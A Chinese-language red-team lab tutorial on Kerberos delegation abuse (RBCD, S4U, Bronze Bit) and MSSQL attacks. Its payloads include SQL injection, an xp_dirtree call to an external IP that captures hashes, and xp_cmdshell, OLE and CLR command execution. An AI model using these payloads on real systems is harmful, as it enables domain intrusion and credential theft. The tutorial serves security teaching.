[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/QxFR6njYrAFvpzDW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/QxFR6njYrAFvpzDW-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/bjN7CBqVVz1jA8eB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/bjN7CBqVVz1jA8eB-image.png)

**情形 2**：我们没有本地管理员权限，也不知道当前用户或主机的凭证。这种情形通常是我们拿下了被配置了约束委派的服务账户，但该账户对主机没有本地管理员特权，即无法提取密钥。我们可以使用 Rubeus 的 **tgtdeleg** 来申请可用的 TGT。

```powershell
rubeus.exe tgtdeleg /nowrap
```

<figure class="graf graf--figure" id="bkmrk-%E6%80%BB%E7%9A%84%E6%9D%A5%E8%AF%B4%EF%BC%8C%E6%97%A0%E8%AE%BA%E5%9C%A8%E5%93%AA%E7%A7%8D%E6%83%85%E5%BD%A2%E4%B8%8B%EF%BC%8Ctgtdel">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/xBHjNvIpWZvTZDe9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/xBHjNvIpWZvTZDe9-image.png)

总的来说，无论在哪种情形下，**tgtdeleg** 技巧是很方便的。

</figure>3：将 TGT 另存为文件，或者将 base64 编码后的票据复制到粘贴板

**Kali**

```shell
echo '<..ticket..>' | base64 -d > tgt.kirbi
```

**Windows**

```powershell
[System.IO.File]::WriteAllBytes(“C:\windows\temp\xxx.kirbi”,[System.Convert]::FromBase64String(“<..ticket..>”))
```

4：模仿特权用户并请求 TGS 以访问目标主机上的 CIFS 服务。例如，特权用户可以是目标主机的本地管理员，有时我们甚至可以模仿域管理员。 但请注意，域用户可以被设置为敏感账户从而不可被委派。所指定的服务名称不会被验证，所以即使目标服务是 eventlog，我们也可以将其修改为 CIFS 服务。

在 white-bird.local 中，域管理员 Administrator 是敏感账户，不可以被委派。但另一个域管理员账户 **macro** 却可以被委派。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/lW8Jyhuo05Lc7O3L-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/lW8Jyhuo05Lc7O3L-image.png)

<figure class="graf graf--figure" id="bkmrk--17">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/nbaP7uRdjS6jfwFZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/nbaP7uRdjS6jfwFZ-image.png)

</figure>命令应该是

```powershell
rubeus.exe s4u /impersonateuser:<高特权用户> /msdsspn:<指定的服务名称>/<域fqdn> /user:<被配置约束委派的账户> /ticket:<文件或编码> /altservice:cifs /nowrap /ptt
```

<figure class="graf graf--figure" id="bkmrk-%E6%88%91%E4%BB%AC%E7%9C%8B%E5%88%B0%EF%BC%8C%E4%B8%80%E5%85%B1%E6%9C%89-2-%E5%BC%A0-tgs%E7%A5%A8%E6%8D%AE%E3%80%82%E7%AC%AC">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/hxjxrznqEe81FqxC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/hxjxrznqEe81FqxC-image.png)

我们看到，一共有 2 张 TGS票据。第一张是通过 **S4U2Self** 得到，是 Web02 代表用户 macro 申请访问自身 (Web02) 的 TGS，第二张 TGS 是通过 **S4U2Proxy** 得到，Web02 代表用户 macro 申请访问 Dc05 的 CIFS 服务的 TGS。 其中，我们通过 altservice 技巧修改了 eventlog 服务，更换为了 cifs。

</figure><figure class="graf graf--figure" id="bkmrk--18">  
</figure>5：ticket被导入内存后，所以我们可以在 Web02 上访问 Dc05 的 C$ 了。

<figure class="graf graf--figure" id="bkmrk--19">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Nv9EH9DvsxQwBHld-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Nv9EH9DvsxQwBHld-image.png)

</figure>###   


###   


### **基于资源的约束委派**

配置约束委派需要在域控制器上具有 **SeEnableDelegationPrivilege** 权限，因此通常只有域管理员用户才能配置它。然而，配置基于资源的受限委派 (RBCD) 并不需要这个权限，即系统管理员可以为主机配置 RBCD，资源自身可以决定信任谁。

要配置约束委派，需要为前端服务器配置 **msDs-AllowedToDelegateTo** 属性。RBCD 通过在后端服务器上添加 **msDS-AllowedToActOnBehalfOfOtherIdentity** 属性来运作，该属性应该是前端服务器的 SID。

配置 RBCD 有一个前提要求，即前端服务 (IIS 服务器) 应该具有一个 SPN，因为前端服务需要在 **S4U2Self** 过程中为用户请求访问自身的 TGS。如果前端服务不是计算机帐户或服务帐户，那么它就没有意义。

#### **枚举**

如果已经拿下的用户或主机对另一台主机具有 **GenericWrite** (或更高权限) 权限，那么基于资源的约束委派可被利用。通过 BloodHound 观察会更加直观。在本 Lab 中，主机 File01 对 Dc01 具有 **GenericWrite** 权限，因此我们可以利用 RBCD。

#### **利用**

1：新建一个主机账号，如果我们已经拿下一台主机的 SYSTEM 权限，也可以提取该主机帐号的密钥。

导入 **PowerMad.ps1** 脚本工具。

```powershell
New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString ‘123123’ -AsPlainText -Force)
```

<figure class="graf graf--figure" id="bkmrk--22">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/yqtil2iHU1oQZToL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/yqtil2iHU1oQZToL-image.png)

</figure>2: 将 **AllowedToActOnBehalfOfOtherIdentity** 属性添加到机器 Dc01 (后端服务)，该值应为我们新增的主机 **RBCD$** (或者是我们拿到 SYSTEM 权限的主机) 的 (前端服务) **二进制格式 SID**。

首先需要得到 RBCD$ 的 SID，这里是 **S-1-5-21-1674258736-4167122442-1078531953-3102**

```powershell
powershell get-netcomputer -identity rbcd | select objectsid
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/r8nDKvFoGZHXhtyQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/r8nDKvFoGZHXhtyQ-image.png)

下面是一串很长的 powershell 命令，我们分解一下：我们创建了一个新的**安全描述符**，允许 RBCD$ 具有 **AllowedToActOnBehalfOfOtherIdentity** 所对应的权限。将该安全描述符转换为二进制格式，然后添加到主机 **Dc01** 的该属性上。我们需要更改的是**前端主机 SID** 以及设置的**后端主机名**。

```powershell
powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1674258736-4167122442-1078531953-3102)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-NetComputer -Identity dc01 | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
```

<figure class="graf graf--figure" id="bkmrk--24">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/pIhORoA4EUQFoNQT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/pIhORoA4EUQFoNQT-image.png)

</figure>验证该属性已经被添加

```powershell
powershell get-netcomputer  -identity dc01 | select msds-allowedtoactonbehalfofotheridentity
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/07VXabr8EoNY2zIc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/07VXabr8EoNY2zIc-image.png)

<figure class="graf graf--figure" id="bkmrk--26">  
</figure>3：类似于约束委派部分的步骤，利用 S4U 模仿高权限用户获取 TGS 票证以访问后端服务器的资源。但首先，我们需要知道添加的计算机帐户的哈希密码。

```powershell
rubeus.exe hash /domain:<domain> /user:rbcd$ /password:<password>
```

<figure class="graf graf--figure" id="bkmrk--27">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/yW6zlJPhBTVplmr3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/yW6zlJPhBTVplmr3-image.png)

</figure>然后利用 S4U 得到可以访问后端服务器上的资源的 TGS。在 PROD 中，administrator 是可以被委派的。在利用之前，我们发现现在不能访问 Dc01 的 C$。

```powershell
rubeus.exe s4u /user:rbcd$ /aes256:<…> /impersonateuser:<特权用户> /msdsspn:<服务名>/<fqdn> /ptt
```

<figure class="graf graf--figure" id="bkmrk-4%EF%BC%9A%E7%8E%B0%E5%9C%A8%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E8%AE%BF%E9%97%AE-dc01-%E7%9A%84-c%24">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/QqmGsli51LMtZ4FX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/QqmGsli51LMtZ4FX-image.png)

4：现在，我们能访问 Dc01 的 C$ 了。

</figure>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/e7R8N3UBtugdjGuF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/e7R8N3UBtugdjGuF-image.png)

###   


###   


### **S4U2Self 的利用**

我们已经讨论过 S4U2Self 和 S4U2Proxy 的作用以及异同了，现在，让我们讨论 S4U2Self 的一个利用。计算机帐户在其自身上没有本地管理员权限。例如，我们可以捕获计算机帐户的 TGT，但我们不能直接以本地管理员权限移动到计算机。我们之前获得了 **Dc02$** 的 TGT，我们可以通过以下步骤将 Dc02 计算机帐户的 TGT 转换为 CIFS 的TGS。

我们现在无法访问 Dc02 的 C$。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Y4edT9Qo1aHNbIW8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Y4edT9Qo1aHNbIW8-image.png)

利用 **S4U2Self** 为用户 carrot 申请一张访问 **DC02$** 的票据：

```
execute-assembly rubeus.exe s4u /self /impersonateuser:<高权限用户> /ticket:<...> /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/dsR9QlJ8vb4zZZhS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/dsR9QlJ8vb4zZZhS-image.png)

我们可以看到，票据确实是用于访问 Dc02$ 的，但不能直接使用。记住我们之前说过，**服务名称**部分是不被保护的，因此，我们可以修改为任意我们想要访问的服务，例如 **cifs**。使用 tgssub 选项实现，命令如下：

```
execute-assembly rubeus.exe tgssub /altservice:cifs/dc02.raven-med.local /ticket:<刚才得到的TGS> /ptt
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/SX6FYuZcv724sQRu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/SX6FYuZcv724sQRu-image.png)

最终，我们可以访问 Dc02 的 C$ 了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/4OuNs8LniWCg838Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/4OuNs8LniWCg838Z-image.png)

### **CVE-2020-17049 BronzeBit 攻击**

我们在约束委派部分讲了，如果设置约束委派的时候，选择了**仅使用 Kerberos**，即禁用协议转换，会是另外一个故事。在预期情况下，如果选择了该选项，那么用户只能通过 Kerberos 向前端服务认证，从而使得前端服务拥有用户的 TGS，再进行后续的 S4U2Poxy。这样的话，意味着需要依赖于用户交互。如果我们像之前一样，试图使用 S4U2Self 替用户获得访问自身的 TGS，得到的 TGS 也是不可转发的。

我们总结一下，有这些情况，S4U2Self 获得的 TGS 是不可转发的：模仿的用户是受保护的、模仿的用户禁止被委派、禁用协议转换。然而在 **CVE-2020-17049 补丁**之前，**Forwardable 位**是被前端**服务帐号的密钥**所加密的，并不在签名的 PAC (校验用户权限的，例如组归属信息) 中。只要我们有了前端服务的密钥，就可以攥改该位数据。这样的话，我们就能将其修改为可转发的 TGS，从而进行后续的 S4U2Proxy 过程了。这意味着我们能绕过**用户保护属性**以及**禁用协议转换**的限制。

在我们的 Lab 之中，Srv02 配置了这样的约束委派，利用成功的话，我们可以在 Dc04 上获得代码执行。我们先提取 **Srv02$** 的 AES256 密钥，值为 **b0be535ccb148cfa92ee481ce545008132bf5032e91bb249879200c705252399**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/0zsLDmw9Iac5dEkJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/0zsLDmw9Iac5dEkJ-image.png)

像一般的约束委派利用步骤一样利用 S4U，只是必须要指定 **/bronzebit** 和 **/aes256**。

```
execute-assembly rubeus.exe s4u /user:<前端服务> /ticket:<前端服务帐号的TGT> /aes256:<AES256密钥> /impersonateuser:administrator /msdsspn:<服务>/<后端服务器FQDN> /altservice:cifs /bronzebit /ptt
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/b47i4K4xwe4KPZPH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/b47i4K4xwe4KPZPH-image.png)

然后，我们就可以访问 Dc04$ 的资源了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/E5OgJX8ECHe1dpnu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/E5OgJX8ECHe1dpnu-image.png)

当然了，在该 CVE 漏洞的补丁之后，我们不再能这样利用了，因为 **Forwardable 位**被 **PAC** 所保护了，我们无法攥改。

### **比较**

#### **非约束委派**

前端服务器配置无约束委派，它代表经过身份验证的用户请求访问域中的任何资源。

#### **约束委派**

前端服务器的 **msDS-AllowedToDelegateTo** 属性配置后端服务器的 SPN。前端服务器使用其身份 (TGT) 代表经过身份验证的用户请求访问指定后端服务器上的指定服务。模式是 **A 信任 B**。

#### **基于资源的约束委派**

后端服务器的 **msDS-AllowedToActOnBehalfOfOtherIdentity** 属性配置前端服务器的 SID。这意味着，后端服务器允许前端服务器代表其他用户访问自己的资源。模式是 **B 信任 A**。

# MSSQL 的利用

### **MSSQL**

Microsoft SQL 服务器在 Active Directory 基础设施中很常见，不仅因为 MSSQL 服务器是 Web 应用程序常见的后端数据库服务器，而且还因为它可以与 Active Directory 和 Kerberos 认证无缝集成。在渗透测试或红队活动中，Microsoft SQL 服务器是攻击者的重点目标之一，原因是它通常存储着敏感数据，并且可以为攻击者提供对目标基础设施的访问。当 SQL 服务器集成到 Active Directory 环境中时，诞生了特定的攻击向量。

根据之前的枚举，我们知道在 PROD域、Med-deal 域、以及White-bird 域中都有着 MSSQL 服务器，用户 sql\_service 分别是对应域中 SQL 服务器实例的服务帐户。而 Web02 是 .NET 应用程序的后端数据库服务器。

在这一节，我们会用多款工具对 MSSQL 进行枚举、利用，包括了 PowerUPSQL，SqlRecon，Impacket 等。Lab 内的 SQL 相关帐号的凭证如下：

```shell
Srv01\SQL01
prod\sql_service:beautiful1
sa:Passw0rdsrv01sa

Srv02\SQL02
med-deal\sql_service:jkhnrjk123!
sa:Passw0rdsrv02sa

Web02\SQL03
white-bird\sql_service:jkhnrjk123!
sa:Passw0rdweb02sa

```

### **SQL 注入**

SQL 注入也是对 MSSQL 攻击的手段之一，最为常见和经典。这是一个回顾，在第 4 章节，我们从 Web 渗透的角度，发现了 Web02 上的 .NET 应用有着 SQL 注入漏洞，并且提取到了一些数据和信息，但是，根据那时候得到的内容，看起来对我们后续渗透并没有很大的帮助，我们会在稍后对之前的 SQL 注入攻击做出延伸。如果忘记了 MSSQL 数据库的重要语句，那么请熟悉一下：

```sql
枚举数据库
select name from master..sysdatabases;

枚举表
select TABLE_NAME from [db name].information_schema.tables;

枚举列
select name from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')

枚举用户或登录
select user_name(); //Server Login Name
select system_user; //Database User Name
select * from master..syslogins;

修改密码
ALTER LOGIN webapp  WITH PASSWORD = 'Passw0rd';

当前用户或登录是否是sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT NAME from master..syslogins where SYSADMIN=1;
```

Web02 后端的 SQL 拼接后的语句形如 **select \* from medicine where medicine like %txtMedicine or brand like %txtBrand or price &lt;=txtPrice**，并无其他的输入过滤，因此，一个触发 SQL 注入的载荷为 **pain ' union select system\_user,2,3;--。**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Q4Rq4G5OK2Ivd1Cc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Q4Rq4G5OK2Ivd1Cc-image.png)

当前的登陆为 webapp，并不是 sysadmin，因此，我们暂时不能做出需要更高特权的行为，例如远程代码执行。

```sql
pain ' union select is_srvrolemember('sysadmin'),2,3;--
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/6wDwWHW2LC7sKZdQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/6wDwWHW2LC7sKZdQ-image.png)

### **基于凭证的攻击**

考虑到服务帐户 sql\_service 都设置了 SPN，因此我们可以对其进行 Kerberoasting 攻击，以获取 KRB5TGS 哈希并破解。如果 sql\_service 的密码不够强大，我们可以还原出明文密码。在我们的例子中，**med-deal\\sql\_service** 和 **white-bird\\sql\_service** 的密 (jkhnrjk123!) 不在 rockyou 字典中，因此我们无法破解它以获取明文密码。但 **prod\\sql\_service** 的密码为典型的弱密码，我们是可以破解出来的。

此外，我们可以使用 Impacket 或者 Responder 运行一个恶意 SMB 服务器。然后使用 **exec xp\_dirtree** 语句访问该 SMB 服务器以及目标共享目录，这样我们可以捕获服务帐号的 NetNTLMv2 哈希并试图破解。

如果是有效的 UNC 路径并且服务帐号具备访问权限，那么可以用于读取目录

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/ZDLFgWKCa05wor0A-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/ZDLFgWKCa05wor0A-image.png)

如果是访问 Responder 的 SMB 服务器：

```sql
exec xp_dirtree '\\89.117.62.45\pwn',1,1;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/BHL6BcfnCsoFL7IZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/BHL6BcfnCsoFL7IZ-image.png)

因为该 SMB 服务器是恶意的，所以并不能读取出目录和文件，但却给了 Responder 机会捕获哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/DsyuIuzTAFFkuYd0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/DsyuIuzTAFFkuYd0-image.png)

然后我们可以使用 hashcat 或 john 来进行字典破解：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/jRARvOeijgcKOIRm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/jRARvOeijgcKOIRm-image.png)

类似于 Kerberoasting 攻击，能否还原出明文密码取决于密码强度以及字典的丰富程度。

### **代码执行**

在 MSSQL 上实现命令执行，可以有多种途径，但是在默认情况下都需要 sysadmin 特权。如果当前登陆或用户并不属于 sysadmin，也许我们可以通过手动提权来实现，这是稍后要介绍的内容，但现在，假设我们具备了 sysadmin 特权，那么该怎么实现 RCE 呢？我们在上述步骤中，知道了 PROD\\sql\_service 的明文密码，因此，我们可以获得该帐号的上下文。在 CobaltStrike 中，我们可以使用 **make\_token** 以及明文凭证来创建 sql\_service 的上下文，而 make\_token 的背后原理，会在下个章节阐释。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/7QoYuYyYtAdLlZPD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/7QoYuYyYtAdLlZPD-image.png)

回顾一下我们之前对 SQL 实例的枚举思路，之前我们使用了 **PowerUpSQL** 脚本。这里我们使用 **SqlRecon** 工具，配合 **execute-assembly** 命令，避免文件的落地和使用 PowerShell。我们发现 sql\_service 是 sysadmin，这是可以预期的，毕竟这是 SQL 的服务帐号。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/weGxnlNPwuk790yx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/weGxnlNPwuk790yx-image.png)

此外，我们还可以使用 **Impacket** 中的 **mssqlclient.py** 与目标 SQL 实例进行交互。该工具以**原始语句查询**为主，在此基础上附带了渗透测试或红队行动中常用的快捷选项，例如**一键开启 xp\_cmdshell**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Uh2lgjH9PYhcGCuG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Uh2lgjH9PYhcGCuG-image.png)

#### **xp\_cmdshell**

如果当前登录是 sysadmin，我们可以在 SQL 服务器上执行任意命令。这些方法中，最臭名昭著的是 xp\_cmdshell。它是 Microsoft SQL Server 的一部分，是一个系统存储过程，允许用户在 SQL Server 中执行系统命令。这对于运行脚本或与操作系统交互等任务可能很有用。然而，它也可以是一种强大的内置功能被用于攻击目标 SQL 服务器。

要执行命令，我们应确保配置选项 **show advanced options** 和 **xp\_cmdshell** 是启用的。启用它们的原始语句是：

```sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/sc3UQ5VYPKxRgvk8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/sc3UQ5VYPKxRgvk8-image.png)

当然，我们也可以使用 Impacket 自带的快捷开启：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/WALOxlvYO2lyMNRJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/WALOxlvYO2lyMNRJ-image.png)

SqlRecon 也集成了一键开启 xp\_cmdshell 的功能：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/1o1fS5hbojJ9Ymr2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/1o1fS5hbojJ9Ymr2-image.png)

在开启了 xp\_cmdshell 后，我们可以通过如下原始语句执行系统命令并得到输出结果：

```sql
exec xp_cmdshell '<命令>';
```

Impacket 还支持 **xp\_cmdshell &lt;命令&gt;** 的快捷命令执行命令

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/rQpl2EgNevYndTVc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/rQpl2EgNevYndTVc-image.png)

SqlRecon 自然也支持一键执行 xp\_cmdshell 命令：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/sHaBvy72FnFO9M3p-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/sHaBvy72FnFO9M3p-image.png)

#### **OLE Automation Procedures**

考虑到 **xp\_cmdshell** 因被攻击者滥用而臭名昭著，从而受到了严密监控。因此，我们应该了解其他方法来执行系统命令。OLE 自动化是一种技术，允许应用程序将对象链接到另一个应用程序。OLE 自动化过程是 SQL Server 中的存储过程，它们提供了对 OLE 自动化对象和方法的访问。这些过程包括 **sp\_OACreate** 和 **sp\_OAMethod**。我们可以使用 sp\_OACreate 创建一个 **OLE 自动化对象的实例**，并使用 sp\_OAMethod 调用 **OLE 自动化对象的方法**。我们可以利用它们来执行系统命令。

我们应该首先通过执行以下语句启用 OLE 自动化：

```sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/NykbYN5p0uudJbqa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/NykbYN5p0uudJbqa-image.png)

可惜的是，Impacket 并没有集成一键开启 OLE 代码执行，但 SqlRecon 集成了该功能。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/eQPXhem06BA8RuUa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/eQPXhem06BA8RuUa-image.png)

在开启 OLE 自动化过程后，我们可以通过如下语句来执行系统命令：

```sql
DECLARE @rce INT; EXEC sp_oacreate 'wscript.shell', @rce OUTPUT; EXEC sp_oamethod @rce, 'run', null, '<命令>';
```

该语句使用了 sp\_OACreate 和 sp\_OAMethod 来使用 WScript.Shell 这个 COM 对象执行系统命令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/VqETcJNLdv0Das23-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/VqETcJNLdv0Das23-image.png)

我们看到日志里新增了访问记录，说明代码执行成功，尽管我们不能直接在 SQL 的返回数据中看到输出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/wPZe9eNiOhWvfuOu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/wPZe9eNiOhWvfuOu-image.png)

SqlRecon 还集成了一键 OLE 代码执行：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/ysgCTHQ0zizQkxbH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/ysgCTHQ0zizQkxbH-image.png)

同样的，该命令执行成功，因为我们看到了新增的访问请求

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/JRexZrsSa88okDlf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/JRexZrsSa88okDlf-image.png)

#### **CLR**

我们还可以使用 CLR 来实现系统命令执行。CLR (公共语言运行时) 是 .NET 框架提供的运行时环境，使我们能够将 .NET DLL 文件导入到 SQL 服务器并执行 DLL 中的方法。我们可以从文件系统中读取 DLL，但将 DLL 写入至内存中以避免文件落地无疑更佳。

首先，我们应该通过执行以下语句启用 CLR 并开启 **TRUSTYWORTHY** 属性：

```sql
exec sp_configure 'show advanced options', 1;  RECONFIGURE;  Exec sp_configure 'clr enabled', 1;  RECONFIGURE;ALTER DATABASE [master] SET TRUSTWORTHY ON;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/AkU1Y72STe73ssBC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/AkU1Y72STe73ssBC-image.png)

使用 SqlRecon 则可以一键开启：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/mKqjCaiW0CaLcvW2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/mKqjCaiW0CaLcvW2-image.png)

接下来，我们需要生成一个 .NET DLL 并转换为 Hex 格式，样本代码如下：

```c#
using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
        proc.Close();
    }
};

```

然后使用如下 Powershell 脚本将其转换为特定的 Hex 格式

```powershell
$assemblyFile = "<DLL 地址>"
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File c:\windows\tasks\clr.txt

```

我们也可以使用一现成 DLL 的 Hex (来自 [https://mp.weixin.qq.com/s/J6lKiFxngOz0CQdGHck61A](https://mp.weixin.qq.com/s/J6lKiFxngOz0CQdGHck61A))，最终写入 DLL 组件的语句为

```sql
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a8040000